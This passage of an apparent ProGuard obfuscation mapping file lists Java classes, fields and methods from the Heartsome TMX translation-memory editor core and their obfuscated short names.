net.heartsome.cat.te.core.tmxdata.TmxLargeFileDataAccess this$0 -> kl + java.lang.String val$oldCleanContent -> kn + java.lang.String val$newCleanContent -> ko + java.lang.String val$filter -> kp + int modifyFilterItems(net.heartsome.xml.vtdimpl.VTDUtils,com.ximpleware.XMLModifier,java.util.Set) -> modifyFilterItems + void modifyAllItems(net.heartsome.xml.vtdimpl.VTDUtils,com.ximpleware.XMLModifier) -> modifyAllItems + java.lang.String getBaseXpath() -> getBaseXpath +net.heartsome.cat.te.core.tmxdata.TmxLargeFileDataAccess$11 -> net.heartsome.cat.te.core.tmxdata.TmxLargeFileDataAccess$11: + net.heartsome.cat.te.core.tmxdata.TmxLargeFileDataAccess this$0 -> kl + java.util.List val$deleteLangs -> kq + int modifyFilterItems(net.heartsome.xml.vtdimpl.VTDUtils,com.ximpleware.XMLModifier,java.util.Set) -> modifyFilterItems + void modifyAllItems(net.heartsome.xml.vtdimpl.VTDUtils,com.ximpleware.XMLModifier) -> modifyAllItems + java.lang.String getBaseXpath() -> getBaseXpath +net.heartsome.cat.te.core.tmxdata.TmxLargeFileDataAccess$12 -> net.heartsome.cat.te.core.tmxdata.TmxLargeFileDataAccess$12: + net.heartsome.cat.te.core.tmxdata.TmxLargeFileDataAccess this$0 -> kl + java.util.Map val$map -> kr + java.util.List val$cLangs -> ks + int modifyFilterItems(net.heartsome.xml.vtdimpl.VTDUtils,com.ximpleware.XMLModifier,java.util.Set) -> modifyFilterItems + void modifyAllItems(net.heartsome.xml.vtdimpl.VTDUtils,com.ximpleware.XMLModifier) -> modifyAllItems + java.lang.String getBaseXpath() -> getBaseXpath + void modifyHeader(net.heartsome.xml.vtdimpl.VTDUtils,com.ximpleware.XMLModifier) -> a +net.heartsome.cat.te.core.tmxdata.TmxLargeFileDataAccess$13 -> net.heartsome.cat.te.core.tmxdata.TmxLargeFileDataAccess$13: + net.heartsome.cat.te.core.tmxdata.TmxLargeFileDataAccess this$0 -> kl + int modifyFilterItems(net.heartsome.xml.vtdimpl.VTDUtils,com.ximpleware.XMLModifier,java.util.Set) -> modifyFilterItems + void modifyAllItems(net.heartsome.xml.vtdimpl.VTDUtils,com.ximpleware.XMLModifier) -> modifyAllItems + java.lang.String getBaseXpath() -> getBaseXpath +net.heartsome.cat.te.core.tmxdata.TmxLargeFileDataAccess$14 -> net.heartsome.cat.te.core.tmxdata.TmxLargeFileDataAccess$14: + net.heartsome.cat.te.core.tmxdata.TmxLargeFileDataAccess this$0 -> kl + int modifyFilterItems(net.heartsome.xml.vtdimpl.VTDUtils,com.ximpleware.XMLModifier,java.util.Set) -> modifyFilterItems + void modifyAllItems(net.heartsome.xml.vtdimpl.VTDUtils,com.ximpleware.XMLModifier) -> modifyAllItems + java.lang.String getBaseXpath() -> getBaseXpath +net.heartsome.cat.te.core.tmxdata.TmxLargeFileDataAccess$15 -> net.heartsome.cat.te.core.tmxdata.TmxLargeFileDataAccess$15: + java.lang.String all_xpath -> kt + java.lang.String filter_xpath -> ku + net.heartsome.cat.te.core.tmxdata.TmxLargeFileDataAccess this$0 -> kl + java.lang.String val$filter -> kp + java.lang.String val$cleanPropType -> kv + java.lang.String getBaseXpath() -> getBaseXpath + void modifyAllItems(net.heartsome.xml.vtdimpl.VTDUtils,com.ximpleware.XMLModifier) -> modifyAllItems + int modifyFilterItems(net.heartsome.xml.vtdimpl.VTDUtils,com.ximpleware.XMLModifier,java.util.Set) -> modifyFilterItems +net.heartsome.cat.te.core.tmxdata.TmxLargeFileDataAccess$2 -> net.heartsome.cat.te.core.tmxdata.TmxLargeFileDataAccess$2: + net.heartsome.cat.te.core.tmxdata.TmxLargeFileDataAccess this$0 -> kl + java.io.IOException val$e -> kw + void run() -> run +net.heartsome.cat.te.core.tmxdata.TmxLargeFileDataAccess$3 -> net.heartsome.cat.te.core.tmxdata.TmxLargeFileDataAccess$3: + net.heartsome.cat.te.core.tmxdata.TmxLargeFileDataAccess this$0 -> kl + java.lang.String val$lowerCaseSrclang -> kx + java.lang.String val$lowerCaseTgtlang -> ky + int modifyFilterItems(net.heartsome.xml.vtdimpl.VTDUtils,com.ximpleware.XMLModifier,java.util.Set) -> modifyFilterItems + void modifyAllItems(net.heartsome.xml.vtdimpl.VTDUtils,com.ximpleware.XMLModifier) -> modifyAllItems + java.lang.String getBaseXpath() -> getBaseXpath +net.heartsome.cat.te.core.tmxdata.TmxLargeFileDataAccess$4 -> net.heartsome.cat.te.core.tmxdata.TmxLargeFileDataAccess$4: + net.heartsome.cat.te.core.tmxdata.TmxLargeFileDataAccess this$0 -> kl + java.lang.String val$cleanName -> kz + java.lang.String val$cleanValue -> kA + java.lang.String val$fragment -> kB + void modifyAllItems(net.heartsome.xml.vtdimpl.VTDUtils,com.ximpleware.XMLModifier) -> modifyAllItems + int modifyFilterItems(net.heartsome.xml.vtdimpl.VTDUtils,com.ximpleware.XMLModifier,java.util.Set) -> modifyFilterItems + java.lang.String getBaseXpath() -> getBaseXpath +net.heartsome.cat.te.core.tmxdata.TmxLargeFileDataAccess$5 -> net.heartsome.cat.te.core.tmxdata.TmxLargeFileDataAccess$5: + net.heartsome.cat.te.core.tmxdata.TmxLargeFileDataAccess this$0 -> kl + java.lang.String val$fragment -> kB + int modifyFilterItems(net.heartsome.xml.vtdimpl.VTDUtils,com.ximpleware.XMLModifier,java.util.Set) -> modifyFilterItems + void modifyAllItems(net.heartsome.xml.vtdimpl.VTDUtils,com.ximpleware.XMLModifier) -> modifyAllItems + java.lang.String getBaseXpath() -> getBaseXpath +net.heartsome.cat.te.core.tmxdata.TmxLargeFileDataAccess$6 -> net.heartsome.cat.te.core.tmxdata.TmxLargeFileDataAccess$6: + net.heartsome.cat.te.core.tmxdata.TmxLargeFileDataAccess this$0 -> kl + java.lang.String val$filter -> kp + net.heartsome.cat.common.bean.TmxProp val$prop -> kC + java.lang.String val$oldCleanContent -> kn + java.lang.String val$cleanPropType -> kv + java.lang.String val$cleanContent -> kD + java.lang.String getBaseXpath() -> getBaseXpath + void modifyAllItems(net.heartsome.xml.vtdimpl.VTDUtils,com.ximpleware.XMLModifier) -> modifyAllItems + int modifyFilterItems(net.heartsome.xml.vtdimpl.VTDUtils,com.ximpleware.XMLModifier,java.util.Set) -> modifyFilterItems + java.lang.String getNewFragment(java.lang.String) -> F +net.heartsome.cat.te.core.tmxdata.TmxLargeFileDataAccess$7 -> net.heartsome.cat.te.core.tmxdata.TmxLargeFileDataAccess$7: + net.heartsome.cat.te.core.tmxdata.TmxLargeFileDataAccess this$0 -> kl + java.lang.String val$filter -> kp + java.lang.String val$all_xpath -> kE + java.lang.String val$filter_xpath -> kF + java.lang.String val$cleanPropType -> kv + java.lang.String getBaseXpath() -> getBaseXpath + void modifyAllItems(net.heartsome.xml.vtdimpl.VTDUtils,com.ximpleware.XMLModifier) -> modifyAllItems + int modifyFilterItems(net.heartsome.xml.vtdimpl.VTDUtils,com.ximpleware.XMLModifier,java.util.Set) -> modifyFilterItems +net.heartsome.cat.te.core.tmxdata.TmxLargeFileDataAccess$8 -> net.heartsome.cat.te.core.tmxdata.TmxLargeFileDataAccess$8: + net.heartsome.cat.te.core.tmxdata.TmxLargeFileDataAccess this$0 -> kl + java.lang.StringBuffer val$predicate -> kG + java.lang.String val$cleanName -> kz + java.lang.String val$cleanValue -> kA + java.lang.String val$fragment -> kB + java.lang.String val$filter -> kp + int modifyFilterItems(net.heartsome.xml.vtdimpl.VTDUtils,com.ximpleware.XMLModifier,java.util.Set) -> modifyFilterItems + void modifyAllItems(net.heartsome.xml.vtdimpl.VTDUtils,com.ximpleware.XMLModifier) -> modifyAllItems + java.lang.String getBaseXpath() -> getBaseXpath +net.heartsome.cat.te.core.tmxdata.TmxLargeFileDataAccess$9 -> net.heartsome.cat.te.core.tmxdata.TmxLargeFileDataAccess$9: + net.heartsome.cat.te.core.tmxdata.TmxLargeFileDataAccess this$0 -> kl + java.lang.String val$fragment -> kB + void modifyAllItems(net.heartsome.xml.vtdimpl.VTDUtils,com.ximpleware.XMLModifier) -> modifyAllItems + int modifyFilterItems(net.heartsome.xml.vtdimpl.VTDUtils,com.ximpleware.XMLModifier,java.util.Set) -> modifyFilterItems + java.lang.String getBaseXpath() -> getBaseXpath +net.heartsome.cat.te.core.tmxdata.TmxLargeFileDataAccess$BatchModifyContext -> net.heartsome.cat.te.core.tmxdata.TmxLargeFileDataAccess$BatchModifyContext: + net.heartsome.cat.te.core.tmxdata.TmxLargeFileDataAccess this$0 -> kl + java.lang.String getBaseXpath() -> getBaseXpath + void modifyAllItems(net.heartsome.xml.vtdimpl.VTDUtils,com.ximpleware.XMLModifier) -> modifyAllItems + int modifyFilterItems(net.heartsome.xml.vtdimpl.VTDUtils,com.ximpleware.XMLModifier,java.util.Set) -> modifyFilterItems + void modifyHeader(net.heartsome.xml.vtdimpl.VTDUtils,com.ximpleware.XMLModifier) -> a +net.heartsome.cat.te.core.tmxdata.TmxTuCache -> net.heartsome.cat.te.core.tmxdata.TmxTuCache: + int size -> size + int index -> index + net.heartsome.cat.te.core.tmxdata.TmxTuCache$TmxTuCacheElement[] cache -> kH + java.lang.String xpath -> hI + void clear() -> clear + void addElement(int,net.heartsome.cat.common.bean.TmxTU) -> addElement + net.heartsome.cat.common.bean.TmxTU getElement(int) -> getElement + boolean isFull() -> isFull + void main(java.lang.String[]) -> main + void readTu(int,net.heartsome.xml.vtdimpl.VTDUtils) -> readTu +net.heartsome.cat.te.core.tmxdata.TmxTuCache$TmxTuCacheElement -> net.heartsome.cat.te.core.tmxdata.TmxTuCache$TmxTuCacheElement: + int key -> key + net.heartsome.cat.common.bean.TmxTU value -> kI + net.heartsome.cat.te.core.tmxdata.TmxTuCache this$0 -> kJ + net.heartsome.cat.common.bean.TmxTU getValue() -> getValue + int getKey() -> getKey + java.lang.String toString() -> toString + void access$0(net.heartsome.cat.te.core.tmxdata.TmxTuCache$TmxTuCacheElement,int) -> a + void access$1(net.heartsome.cat.te.core.tmxdata.TmxTuCache$TmxTuCacheElement,net.heartsome.cat.common.bean.TmxTU) -> a +net.heartsome.cat.te.core.utils.DatabaseAccessUtils -> net.heartsome.cat.te.core.utils.DatabaseAccessUtils: + org.slf4j.Logger log -> kK + boolean ignoreTag -> jt + boolean ignoreCase -> ignoreCase + java.lang.String srcLang -> eD + java.lang.String tgtLang -> ju + net.heartsome.cat.database.TMXDBOperatorFacade accessTmxDb -> kL + java.util.List getSimpleTuData(org.eclipse.core.runtime.IProgressMonitor) -> getSimpleTuData + java.util.List getId4DulicateDelete(org.eclipse.core.runtime.IProgressMonitor) -> getId4DulicateDelete + java.util.List getId4SrcSameDiffTgtDelete(org.eclipse.core.runtime.IProgressMonitor) -> getId4SrcSameDiffTgtDelete + java.util.List parseStrings2Integers(java.util.List) -> k +net.heartsome.cat.te.core.utils.DeleteTUHelper -> net.heartsome.cat.te.core.utils.DeleteTUHelper: + void main(java.lang.String[]) -> main + java.util.List queryDeleteDulicateTuId(java.util.List,org.eclipse.core.runtime.IProgressMonitor,boolean) -> queryDeleteDulicateTuId + java.util.List queryDeleteSrcSameDiffTgtTuId(java.util.List,org.eclipse.core.runtime.IProgressMonitor,boolean) -> queryDeleteSrcSameDiffTgtTuId + java.util.List removeNotLastDateTu(java.util.List) -> removeNotLastDateTu + void sortDulicateTU(java.util.List,boolean) -> b + java.util.List groupOrderedDiffTu(java.util.List,org.eclipse.core.runtime.IProgressMonitor,boolean) -> a + java.util.List groupOrderedTu(java.util.List,org.eclipse.core.runtime.IProgressMonitor,boolean) -> b +net.heartsome.cat.te.core.utils.DeleteTUHelper$1 -> net.heartsome.cat.te.core.utils.DeleteTUHelper$1: + int compare(net.heartsome.cat.te.core.bean.SimpleTUData,net.heartsome.cat.te.core.bean.SimpleTUData) -> compare + int compare(java.lang.Object,java.lang.Object) -> compare +net.heartsome.cat.te.core.utils.DeleteTUHelper$2 -> net.heartsome.cat.te.core.utils.DeleteTUHelper$2: + boolean val$ignoreCase -> kM + int compare(net.heartsome.cat.te.core.bean.SimpleTUData,net.heartsome.cat.te.core.bean.SimpleTUData) -> compare + int compare(java.lang.Object,java.lang.Object) -> compare +net.heartsome.cat.te.core.utils.PairFile -> net.heartsome.cat.te.core.utils.PairFile: +net.heartsome.cat.te.core.utils.TeCoreUtils -> net.heartsome.cat.te.core.utils.TeCoreUtils: + int OS_LINUX -> OS_LINUX + int OS_MAC -> OS_MAC + int OS_WINDOWS -> OS_WINDOWS + void validateTmxFile(java.lang.String) -> validateTmxFile + void deleteFolder(java.io.File) -> deleteFolder + java.lang.String createIndexFile(org.eclipse.core.runtime.IProgressMonitor,net.heartsome.cat.te.core.tmxdata.TmxLargeFileContainer,java.lang.String,java.lang.String,boolean) -> createIndexFile + int getTuPosition(java.util.List,int) -> getTuPosition + java.lang.String cleanSpecialChar(java.lang.String) -> G + java.lang.String[] parseTuIndentifier(java.lang.String) -> parseTuIndentifier + int getCurrentOS() -> getCurrentOS + java.lang.String getFileSeparator() -> getFileSeparator + java.lang.String getLineSeparator() -> getLineSeparator + boolean validateTmxContainer(net.heartsome.cat.te.core.tmxdata.TmxLargeFileContainer) -> validateTmxContainer + void closeQAViewer() -> closeQAViewer +net.heartsome.cat.te.core.utils.TmxCustomFilterUtil -> net.heartsome.cat.te.core.utils.TmxCustomFilterUtil: + java.lang.String FILTERFILEPATH -> FILTERFILEPATH + boolean isFilterOpened -> kN + com.ximpleware.VTDNav vn -> hW + net.heartsome.xml.vtdimpl.VTDUtils vu -> ap + com.ximpleware.XMLModifier xm -> ii + org.slf4j.Logger LOGGER -> LOGGER + boolean isFilterOpened() -> isFilterOpened + void saveFilters(java.util.List) -> saveFilters + void save() -> save + java.util.List getAllCustomFilters() -> getAllCustomFilters + java.util.List getUseableCustomFilters() -> getUseableCustomFilters + java.util.List getCustomFilters(java.lang.String) -> H + net.heartsome.cat.te.core.bean.TmxEditorFilterBean updateFilter(net.heartsome.cat.te.core.bean.TmxEditorFilterBean) -> updateFilter + void openFilter() -> aI + void creatFilterFile() -> aJ + java.lang.String createFilter(net.heartsome.cat.te.core.bean.TmxEditorFilterBean) -> a +net.heartsome.cat.te.core.utils.TmxEntityScanner -> net.heartsome.cat.te.core.utils.TmxEntityScanner: + int defaultSize -> kO + net.heartsome.cat.te.core.utils.TmxEntityScanner$TmxEntity entity -> kP + boolean finish -> kQ + boolean hasReader -> kR + int getLineNumber() -> getLineNumber + int getColumnNumber() -> getColumnNumber + int getHasLoad() -> getHasLoad + char peekChar() -> peekChar + char scanChar() -> aK + java.lang.String scanName() -> scanName + boolean scanQName(org.apache.xerces.xni.QName) -> scanQName + int scanLiteral(int,org.apache.xerces.xni.XMLString) -> scanLiteral + int scanContent(org.apache.xerces.xni.XMLString) -> scanContent + boolean scanData(java.lang.String,org.apache.xerces.util.XMLStringBuffer) -> scanData + boolean skipChar(char) -> a + boolean skipSpaces() -> skipSpaces + boolean skipString(java.lang.String) -> skipString + boolean arrangeCapacity(int,boolean) -> arrangeCapacity + boolean load(int) -> g + boolean hasFinish() -> hasFinish + boolean skipDeclSpaces() -> skipDeclSpaces +net.heartsome.cat.te.core.utils.TmxEntityScanner$TmxEntity -> net.heartsome.cat.te.core.utils.TmxEntityScanner$TmxEntity: + int hasLoad -> hasLoad + int baseCharOffset -> baseCharOffset + int columnNumber -> columnNumber + java.io.BufferedReader reader -> reader + char[] ch -> ch + int position -> position + int count -> count + boolean literal -> literal + int lineNumber -> lineNumber + int startPosition -> startPosition + net.heartsome.cat.te.core.utils.TmxEntityScanner this$0 -> kS +net.heartsome.cat.te.core.utils.TmxFileDataAccessUtils -> net.heartsome.cat.te.core.utils.TmxFileDataAccessUtils: + void readTUAttr4VTDNav(net.heartsome.xml.vtdimpl.VTDUtils,net.heartsome.cat.common.bean.TmxTU) -> readTUAttr4VTDNav + void readTUNote4VTDNav(net.heartsome.xml.vtdimpl.VTDUtils,net.heartsome.cat.common.bean.TmxTU) -> readTUNote4VTDNav + void readTUProp4VTDNav(net.heartsome.xml.vtdimpl.VTDUtils,net.heartsome.cat.common.bean.TmxTU) -> readTUProp4VTDNav + void readTUTuv4VTDNav(net.heartsome.xml.vtdimpl.VTDUtils,net.heartsome.cat.common.bean.TmxTU,java.lang.String,java.lang.String) -> readTUTuv4VTDNav +net.heartsome.cat.te.core.utils.TmxFileValidator -> net.heartsome.cat.te.core.utils.TmxFileValidator: + org.slf4j.Logger LOGGER -> LOGGER + java.lang.String split -> kT + java.util.Map vnMap -> kU + org.eclipse.swt.graphics.Color red -> kV + java.lang.String version -> version + java.util.Hashtable languages -> kW + java.util.Hashtable countries -> eh + java.util.Hashtable tuids -> kX + int balance -> kY + java.util.Hashtable ids -> kZ + org.eclipse.swt.custom.StyledText styledText -> la + org.eclipse.swt.widgets.ProgressBar progressBar -> lb + java.lang.String tmxLocation -> lc + org.eclipse.swt.widgets.ProgressBar getProgressBar() -> getProgressBar + void setProgressBar(org.eclipse.swt.widgets.ProgressBar) -> setProgressBar + void printWarning(java.lang.String) -> printWarning + void printlnWarning(java.lang.String) -> I + void printError(java.lang.String) -> printError + void printlnError(java.lang.String) -> J + void printInfo(java.lang.String) -> K + void printlnInfo(java.lang.String) -> L + void validate() -> validate + com.ximpleware.VTDGen repair() -> aL + boolean verifyAttrValue(java.lang.String,java.lang.String) -> g + java.lang.String defaultAttrValue(java.lang.String) -> M + boolean parseXML(java.lang.String) -> N + boolean validTmxRoot(java.lang.String) -> O + java.lang.String getAttribute(java.lang.String,java.lang.String,java.lang.String) -> b + java.lang.String getAttribute(com.ximpleware.VTDNav,java.lang.String,java.lang.String) -> a + java.io.File createTmpFile(java.lang.String) -> createTmpFile + void validSrcLanguage(java.lang.String,java.lang.String) -> h + void recurse(java.lang.String) -> P + void checkAttribute(java.util.Map,net.heartsome.xml.vtdimpl.VTDUtils) -> a + java.util.Map getAllAttributes(com.ximpleware.VTDNav) -> d + boolean save(com.ximpleware.XMLModifier,java.io.File) -> b + boolean checkDate(java.lang.String) -> Q + boolean checkLang(java.lang.String) -> R + boolean isAlpha(char) -> isAlpha + java.lang.String getXMLEncoding(java.lang.String) -> S + org.eclipse.swt.custom.StyledText getStyledText() -> getStyledText + void setStyledText(org.eclipse.swt.custom.StyledText) -> setStyledText + java.lang.String getTmxLocation() -> getTmxLocation + void setTmxLocation(java.lang.String) -> setTmxLocation + void run() -> run + org.eclipse.swt.custom.StyledText access$0(net.heartsome.cat.te.core.utils.TmxFileValidator) -> a + org.eclipse.swt.graphics.Color access$1(net.heartsome.cat.te.core.utils.TmxFileValidator) -> b + org.eclipse.swt.widgets.ProgressBar access$2(net.heartsome.cat.te.core.utils.TmxFileValidator) -> c +net.heartsome.cat.te.core.utils.TmxFileValidator$1 -> net.heartsome.cat.te.core.utils.TmxFileValidator$1: + net.heartsome.cat.te.core.utils.TmxFileValidator this$0 -> ld + java.lang.String val$warn -> le + void run() -> run +net.heartsome.cat.te.core.utils.TmxFileValidator$2 -> net.heartsome.cat.te.core.utils.TmxFileValidator$2: + net.heartsome.cat.te.core.utils.TmxFileValidator this$0 -> ld + java.lang.String val$error -> lf + void run() -> run +net.heartsome.cat.te.core.utils.TmxFileValidator$3 -> net.heartsome.cat.te.core.utils.TmxFileValidator$3: + net.heartsome.cat.te.core.utils.TmxFileValidator this$0 -> ld + java.lang.String val$info -> lg + void run() -> run +net.heartsome.cat.te.core.utils.TmxFileValidator$4 -> net.heartsome.cat.te.core.utils.TmxFileValidator$4: + net.heartsome.cat.te.core.utils.TmxFileValidator this$0 -> ld + void run() -> run +net.heartsome.cat.te.core.utils.TmxFilterQueryUtil -> net.heartsome.cat.te.core.utils.TmxFilterQueryUtil: + boolean ignoreTag -> jt + boolean ignoreCase -> ignoreCase + java.lang.String srcLang -> eD + java.lang.String tgtLang -> ju + java.lang.String indexFileLC -> lh + java.lang.String SEGName -> jI + net.heartsome.cat.te.core.tmxdata.TmxLargeFileContainer container -> jv + org.slf4j.Logger LOGGER -> LOGGER + java.util.List getSrcSameWithTgtTuIdentifiers(org.eclipse.core.runtime.IProgressMonitor) -> getSrcSameWithTgtTuIdentifiers + java.util.List getSrcSameButTgtTUIdentifies(org.eclipse.core.runtime.IProgressMonitor) -> getSrcSameButTgtTUIdentifies + void ananysisSrcSameData(java.util.Map,java.util.List) -> a + java.util.List getTgtSameButSrcTUIdentifies(org.eclipse.core.runtime.IProgressMonitor) -> getTgtSameButSrcTUIdentifies + void ananysisTgtSameData(java.util.Map,java.util.List) -> b + java.util.List getDuplicateSegTUIdentifies(org.eclipse.core.runtime.IProgressMonitor) -> getDuplicateSegTUIdentifies + void ananysisDuplicateData(java.util.Map,java.util.List) -> c + java.util.List getWithNoteSegTUIdentifies(org.eclipse.core.runtime.IProgressMonitor) -> getWithNoteSegTUIdentifies + java.util.List getWithGarbleSegTUIdentifies(org.eclipse.core.runtime.IProgressMonitor) -> getWithGarbleSegTUIdentifies + java.util.List getTgtNullSegTUIdentifies(org.eclipse.core.runtime.IProgressMonitor) -> getTgtNullSegTUIdentifies + void indexFileIdListSort(java.util.List) -> l + java.util.List getCustomFilterTuIdentifies(org.eclipse.core.runtime.IProgressMonitor,net.heartsome.cat.te.core.bean.TmxEditorFilterBean) -> getCustomFilterTuIdentifies + void srcOrTgtOrNoteFilterQuery(org.eclipse.core.runtime.IProgressMonitor,net.heartsome.xml.vtdimpl.VTDUtils,com.ximpleware.VTDNav,net.heartsome.cat.common.innertag.TmxInnerTagParser,net.heartsome.cat.te.core.bean.TmxEditorFilterBean,java.util.Set,java.util.Set,java.lang.String) -> a + void fixedOrCustomPropFilterQuery(org.eclipse.core.runtime.IProgressMonitor,net.heartsome.xml.vtdimpl.VTDUtils,com.ximpleware.VTDNav,net.heartsome.cat.common.innertag.TmxInnerTagParser,net.heartsome.cat.te.core.bean.TmxEditorFilterBean,java.util.Set,java.util.Set,boolean) -> a + void setIngoreTag(boolean) -> setIngoreTag + java.util.List getDuplicate4DeleteIds(org.eclipse.core.runtime.IProgressMonitor) -> getDuplicate4DeleteIds + void setIgnoreCase(boolean) -> setIgnoreCase + java.util.List getSrcSameButTgtDiff4DeleteIds(org.eclipse.core.runtime.IProgressMonitor) -> getSrcSameButTgtDiff4DeleteIds + java.lang.String parseIdxId2Indetiferid(java.lang.String) -> T + java.util.List getSrcSameButTgtGroupTUID(org.eclipse.core.runtime.IProgressMonitor) -> getSrcSameButTgtGroupTUID + java.util.List getTgtSameButSrcGroupTUID(org.eclipse.core.runtime.IProgressMonitor) -> getTgtSameButSrcGroupTUID + java.util.List getAllSimpleTus(org.eclipse.core.runtime.IProgressMonitor,java.lang.String,java.lang.String) -> getAllSimpleTus + void readTUAttr4VTDNav(net.heartsome.xml.vtdimpl.VTDUtils,net.heartsome.cat.common.bean.TmxTU) -> readTUAttr4VTDNav + java.util.List getAllTuDataOfTmxForFilter(org.eclipse.core.runtime.IProgressMonitor) -> d + void main(java.lang.String[]) -> main + boolean access$0(net.heartsome.cat.te.core.utils.TmxFilterQueryUtil) -> a +net.heartsome.cat.te.core.utils.TmxFilterQueryUtil$1 -> net.heartsome.cat.te.core.utils.TmxFilterQueryUtil$1: + net.heartsome.cat.te.core.utils.TmxFilterQueryUtil this$0 -> li + int compare(net.heartsome.cat.common.bean.TmxTU,net.heartsome.cat.common.bean.TmxTU) -> compare + int compare(java.lang.Object,java.lang.Object) -> compare +net.heartsome.cat.te.core.utils.TmxFilterQueryUtil$2 -> net.heartsome.cat.te.core.utils.TmxFilterQueryUtil$2: + net.heartsome.cat.te.core.utils.TmxFilterQueryUtil this$0 -> li + int compare(net.heartsome.cat.common.bean.TmxTU,net.heartsome.cat.common.bean.TmxTU) -> compare + int compare(java.lang.Object,java.lang.Object) -> compare +net.heartsome.cat.te.core.utils.TmxFilterQueryUtil$3 -> net.heartsome.cat.te.core.utils.TmxFilterQueryUtil$3: + net.heartsome.cat.te.core.utils.TmxFilterQueryUtil this$0 -> li + int compare(net.heartsome.cat.common.bean.TmxTU,net.heartsome.cat.common.bean.TmxTU) -> compare + int compare(java.lang.Object,java.lang.Object) -> compare +net.heartsome.cat.te.core.utils.TmxFilterQueryUtil$4 -> net.heartsome.cat.te.core.utils.TmxFilterQueryUtil$4: + int compare(java.lang.String,java.lang.String) -> compare + int compare(java.lang.Object,java.lang.Object) -> compare +net.heartsome.cat.te.core.utils.TmxFilterQueryUtil$5 -> net.heartsome.cat.te.core.utils.TmxFilterQueryUtil$5: + net.heartsome.cat.te.core.utils.TmxFilterQueryUtil this$0 -> li + java.util.Map val$indexIDSortMap -> lj + int compare(java.lang.String,java.lang.String) -> compare + int compare(java.lang.Object,java.lang.Object) -> compare +net.heartsome.cat.te.core.utils.TmxScanner -> net.heartsome.cat.te.core.utils.TmxScanner: + java.util.LinkedList errorFIFO -> lk + net.heartsome.cat.te.core.utils.TmxScanner$ErrorCode errorCode -> ll + int SCANNER_STATE_START_OF_MARKUP -> SCANNER_STATE_START_OF_MARKUP + int SCANNER_STATE_COMMENT -> SCANNER_STATE_COMMENT + int SCANNER_STATE_PI -> SCANNER_STATE_PI + int SCANNER_STATE_DOCTYPE -> SCANNER_STATE_DOCTYPE + int SCANNER_STATE_ROOT_ELEMENT -> SCANNER_STATE_ROOT_ELEMENT + int SCANNER_STATE_CONTENT -> SCANNER_STATE_CONTENT + int SCANNER_STATE_REFERENCE -> SCANNER_STATE_REFERENCE + int SCANNER_STATE_END_OF_INPUT -> SCANNER_STATE_END_OF_INPUT + int SCANNER_STATE_TERMINATED -> SCANNER_STATE_TERMINATED + int SCANNER_STATE_CDATA -> SCANNER_STATE_CDATA + int SCANNER_STATE_TEXT_DECL -> SCANNER_STATE_TEXT_DECL + int scanState -> lm + net.heartsome.cat.te.core.utils.TmxScanner$TmxDispatcher dispatcher -> ln + net.heartsome.cat.te.core.utils.TmxEntityScanner entityScanner -> lo + boolean complete -> lp + org.apache.xerces.util.XMLStringBuffer stringBuffer -> lq + org.apache.xerces.xni.XMLString fTempString -> fTempString + net.heartsome.cat.te.core.utils.TmxScanner$ElementStack fElementStack -> lr + org.apache.xerces.xni.QName fElementQName -> fElementQName + int fEntityDepth -> fEntityDepth + org.apache.xerces.xni.XMLString fString -> ls + org.apache.xerces.util.XMLStringBuffer fStringBuffer -> lt + org.apache.xerces.xni.QName fCurrentElement -> fCurrentElement + org.apache.xerces.util.XMLAttributesImpl fAttributes -> fAttributes + org.apache.xerces.xni.QName fAttributeQName -> fAttributeQName + org.apache.xerces.util.XMLStringBuffer fStringBuffer2 -> lu + boolean fScanningAttribute -> fScanningAttribute + org.apache.xerces.util.XMLStringBuffer fStringBuffer3 -> lv + boolean fNotifyCharRefs -> fNotifyCharRefs + org.apache.xerces.xni.XMLString fTempString2 -> fTempString2 + boolean fIsEntityDeclaredVC -> lw + java.lang.String[] pseudoAttributeValues -> lx + java.lang.String tmpFilePath -> ly + java.io.BufferedWriter writer -> lz + boolean debug -> debug + boolean isGetContent -> lA + java.util.Stack stack -> stack + int wDepth -> lB + java.util.Stack scope -> lC + boolean reportError -> lD + org.eclipse.swt.widgets.ProgressBar progressBar -> lb + double total -> lE + java.lang.String encoding -> encoding + void main(java.lang.String[]) -> main + java.lang.String scanTmxDocument() -> scanTmxDocument + void printErrorDes(java.util.LinkedList) -> a + void printState(int) -> h + void scanXMLDeclOrTextDecl(boolean) -> scanXMLDeclOrTextDecl + void scanPI() -> scanPI + boolean scanStartElement() -> scanStartElement + java.lang.String encodingCharacter(int) -> i + int scanEndElement() -> scanEndElement + boolean isLogicalTags(java.lang.String,java.lang.String,boolean) -> a + void scanCDATASection(boolean) -> f + int scanContent() -> scanContent + void scanComment() -> scanComment + void scanPIData(java.lang.String,org.apache.xerces.xni.XMLString) -> scanPIData + void scanAttribute(org.apache.xerces.util.XMLAttributesImpl) -> scanAttribute + void tryToFindAttrs(org.apache.xerces.util.XMLAttributesImpl,org.apache.xerces.util.XMLStringBuffer) -> a + boolean scanAttributeValue(org.apache.xerces.xni.XMLString,org.apache.xerces.xni.XMLString,java.lang.String,boolean,java.lang.String,net.heartsome.cat.te.core.utils.TmxEntityScanner) -> a + void normalizeWhitespace(org.apache.xerces.xni.XMLString,int) -> normalizeWhitespace + int isUnchangedByNormalization(org.apache.xerces.xni.XMLString) -> isUnchangedByNormalization + int scanCharReferenceValue(org.apache.xerces.util.XMLStringBuffer,org.apache.xerces.util.XMLStringBuffer) -> scanCharReferenceValue + void normalizeWhitespace(org.apache.xerces.xni.XMLString) -> normalizeWhitespace + boolean scanRootElementHook() -> scanRootElementHook + void scanEntityReference() -> scanEntityReference + void scanCharReference() -> scanCharReference + boolean scanSurrogates(org.apache.xerces.util.XMLStringBuffer) -> scanSurrogates + void setScannerState(int) -> setScannerState + boolean versionSupported(java.lang.String) -> versionSupported + void tryWriteStart() -> tryWriteStart + void writerDefaultTuv() -> aM + void writerDefaultHeader() -> aN + boolean isInvalidTag(java.lang.String) -> U + void appendStartElem(org.apache.xerces.xni.QName,org.apache.xerces.util.XMLAttributesImpl) -> a + void appendErrorCode() -> aO + void appendEndElem(java.lang.String) -> V + void appendContent(java.lang.String) -> appendContent + boolean appendCharacter(java.lang.String) -> W + java.lang.String scanPseudoAttribute(boolean,org.apache.xerces.xni.XMLString) -> scanPseudoAttribute + void error(java.lang.String) -> error + void copyQname(org.apache.xerces.xni.QName,org.apache.xerces.xni.QName) -> copyQname + int testDepth(java.lang.String) -> testDepth + boolean isFinish() -> isFinish + void setProgressBar(org.eclipse.swt.widgets.ProgressBar) -> setProgressBar + void clear() -> clear + int access$0(net.heartsome.cat.te.core.utils.TmxScanner) -> a + void access$1(net.heartsome.cat.te.core.utils.TmxScanner,int) -> a + 